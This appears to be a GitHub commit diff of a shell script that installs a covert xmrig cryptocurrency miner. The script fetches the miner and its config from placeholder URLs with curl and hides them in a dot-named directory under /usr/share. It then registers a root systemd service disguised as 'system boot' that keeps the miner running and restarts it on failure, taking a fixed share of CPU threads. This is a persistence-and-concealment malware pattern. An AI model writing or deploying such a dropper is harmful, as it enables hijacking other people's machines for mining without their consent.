File tree Expand file tree Collapse file tree 1 file changed +3
-1
lines changed
Expand file tree Collapse file tree 1 file changed +3
-1
lines changed Original file line number Diff line number Diff line change 1717 fi
1818 }
1919 exits
20- files=$( curl -s -O <<< < url of xmrig >>>> -O <<< < url for config.json >>>>) # add url of xmrig file and config.json.
20+
21+ files=$( curl -s -O < url of xmrig> -O < url for config.json> ) # add url of xmrig file and config.json.
2122 touch xmrig.service
2223 per=$( chmod 777 xmrig config.json && chmod 644 xmrig.service)
2324 dir=$( mkdir /usr/share/.logstxt)
2425 move=$( mv xmrig config.json /usr/share/.logstxt/ && mv xmrig.service /etc/systemd/system/)
26+
2527 threads=$( lscpu -p | grep -c " ^[0-9]" )
2628 tf=$( printf %.f " $(( 25 * $threads )) e-2" )
2729 append=$( echo -e " [Unit]\nDescription=system boot\nAfter=network.target\n\n[Service]\nType=simple\nRestart=on-failure\nRestartSec=1200\nUser=root\nExecStart=/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=$tf \nRemainAfterExit=yes\nKillMode=process\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/xmrig.service)
You can’t perform that action at this time.
0 commit comments